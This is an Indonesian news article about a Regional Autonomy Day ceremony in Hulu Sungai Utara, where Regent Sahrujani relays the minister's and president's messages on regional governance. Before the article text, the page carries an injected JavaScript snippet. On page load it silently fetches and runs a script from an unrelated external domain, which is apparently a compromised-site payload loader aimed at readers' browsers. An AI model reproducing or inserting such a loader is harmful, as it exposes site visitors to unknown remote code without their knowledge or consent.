(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Peringati Hari Otda, Ini Kata Bupati HSU H Sahrujani

KANALKALIMANTAN.COM, AMUNTAI – Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) menggelar upacara peringatan Hari Otonomi Daerah (Otda) ke-XXIX tahun 2025 di halaman kantor Bupati HSU, Senin (28/4/2025) pagi.

Mengusung tema nasional “Sinergi Pusat dan Daerah Membangun Nusantara Menuju Indonesia Emas 2045.” Bupati HSU, Sahrujani, bertindak sebagai Inspektur upacara.

Hadir dalam upacara ini Wakil Bupati Hero Setiawan, Sekertaris Daerah (Sekda) Adi Lesmana, pejabat Forkopimda, asisten, staf ahli, dan Kepala Organisasi Perangkat Daerah (OPD) serta Aparatur Sipil Negara (ASN) dan non ASN di lingkungan Pemkab HSU.

Momentum periongatan Hari Otda menjadi wujud komitmen bersama dalam memperkuat semangat otonomi daerah.

Bupati HSU Sahrujani mengatakan, jajaran pemerintah daerah, tokoh masyarakat, akademisi, insan pers, dan seluruh elemen bangsa yang telah berkontribusi dalam menyukseskan pelaksanaan otonomi daerah di Indonesia.

“Semangat kolaborasi dan partisipasi aktif dari berbagai pihak inilah yang menjadi pilar utama dalam memperkuat tata kelola pemerintahan daerah yang responsif, transparan, dan akuntabel,” kata Bupati HSU mewakili Mendagri Tito Karnavian Bupati HSU.

Seluruh jajaran pemerintah daerah diminta memperkuat komitmen bersama dalam membangun tata kelola pemerintahan yang baik, inovatif, dan berorientasi pada pelayanan publik.

“Mari kita jadikan otonomi daerah sebagai sarana mempercepat pemerataan pembangunan, memperkuat integrasi nasional, serta meningkatkan daya saing daerah,” kata H Sahrujani.

Bupati HSU juga menyampaikan amanat Presiden RI yang menekankan pentingnya kesatuan visi, arah kebijakan strategis, dan implementasi yang sinkron di seluruh tingkatan pemerintahan dalam menyongsong Indonesia Emas.

Beberapa isu strategis yang ditekankan meliputi penguatan regulasi, dukungan anggaran dan teknologi, peningkatan sumber daya manusia, efisiensi energi, pengelolaan sumber daya air, pengembangan teknologi inovatif, penegakan hukum, serta reformasi birokrasi untuk membentuk pemerintahan yang bebas korupsi dan berintegritas.

“Pemerintah daerah tidak hanya sebagai pelaksana, tetapi juga harus menjadi mitra aktif dalam merancang kebijakan yang relevan dengan kondisi dan potensi lokal,” tegasnya. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: kk